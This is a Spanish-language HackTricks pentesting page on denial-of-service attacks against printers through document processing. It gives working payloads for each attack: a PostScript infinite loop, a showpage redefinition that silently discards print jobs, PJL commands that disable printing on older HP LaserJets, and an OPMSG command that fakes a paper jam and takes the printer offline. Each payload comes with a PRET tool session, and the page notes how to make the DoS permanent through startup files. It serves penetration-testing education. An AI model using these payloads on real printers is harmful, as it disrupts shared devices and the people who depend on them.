hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

91 lines
4.3 KiB
Markdown

Lenguajes de descripción de página que permiten bucles infinitos o cálculos que requieren mucho tiempo de computación. Incluso lenguajes minimalistas como [PCL](http://hacking-printers.net/wiki/index.php/PCL) se pueden utilizar para cargar macros o fuentes permanentes hasta que se consume la memoria disponible.
# PostScript
## Bucles infinitos
```
%!
{} loop
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
## Redefinir showpage
Al establecer `showpage` - que se utiliza en cada documento para imprimir la página - para que no haga nada en absoluto, los trabajos de PostScript se procesan pero no se imprime nada.
```
true 0 startjob
/showpage {} def
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
```
Ambos códigos de ataque también pueden ser escritos en archivos Sys/Start, startup.ps o similares para causar una **DoS permanente** en dispositivos con un disco grabable.
# PJL
## PJL jobmedia
Los comandos PJL propietarios pueden ser utilizados para poner en modo de servicio a dispositivos antiguos de HP como la serie LaserJet 4k y deshabilitar completamente toda la funcionalidad de impresión como se muestra a continuación:
```
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
```
## Modo offline
Además, el estándar PJL define el comando `OPMSG` que "solicita a la impresora que muestre un mensaje especificado y se desconecte" \cite{hp1997pjl}. Esto se puede utilizar para simular un atasco de papel como se muestra a continuación:
```
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
**Obtén más información sobre estos ataques en** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>